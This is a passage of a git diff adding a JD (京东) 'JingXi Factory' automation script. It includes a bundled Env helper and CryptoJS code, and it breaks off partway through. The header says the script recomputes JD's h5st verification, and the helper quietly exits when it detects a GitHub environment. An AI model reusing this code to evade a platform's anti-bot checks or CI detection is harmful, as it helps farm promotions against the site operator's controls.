1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_dreamFactory.js b/jd_dreamFactory.js new file mode 100644 index 0000000..c19ec36 --- /dev/null +++ b/jd_dreamFactory.js @@ -0,0 +1,1724 @@ +/* +京东京喜工厂 +更新时间:2021-6-25 +修复做任务、收集电力出现火爆,不能完成任务,重新计算h5st验证 +参考自 :https://www.orzlee.com/web-development/2021/03/03/lxk0301-jingdong-signin-scriptjingxi-factory-solves-the-problem-of-unable-to-signin.html +活动入口:京东APP-游戏与互动-查看更多-京喜工厂 +或者: 京东APP首页搜索 "玩一玩" ,造物工厂即可 + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜工厂 +10 * * * * jd_dreamFactory.js, tag=京喜工厂, img-url=https://github.com/58xinian/icon/raw/master/jdgc.png, enabled=true + +================Loon============== +[Script] +cron "10 * * * *" script-path=jd_dreamFactory.js,tag=京喜工厂 + +===============Surge================= +京喜工厂 = type=cron,cronexp="10 * * * *",wake-system=1,timeout=3600,script-path=jd_dreamFactory.js + +============小火箭========= +京喜工厂 = type=cron,script-path=jd_dreamFactory.js, cronexpr="10 * * * *", timeout=3600, enable=true + + */ +// prettier-ignore +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 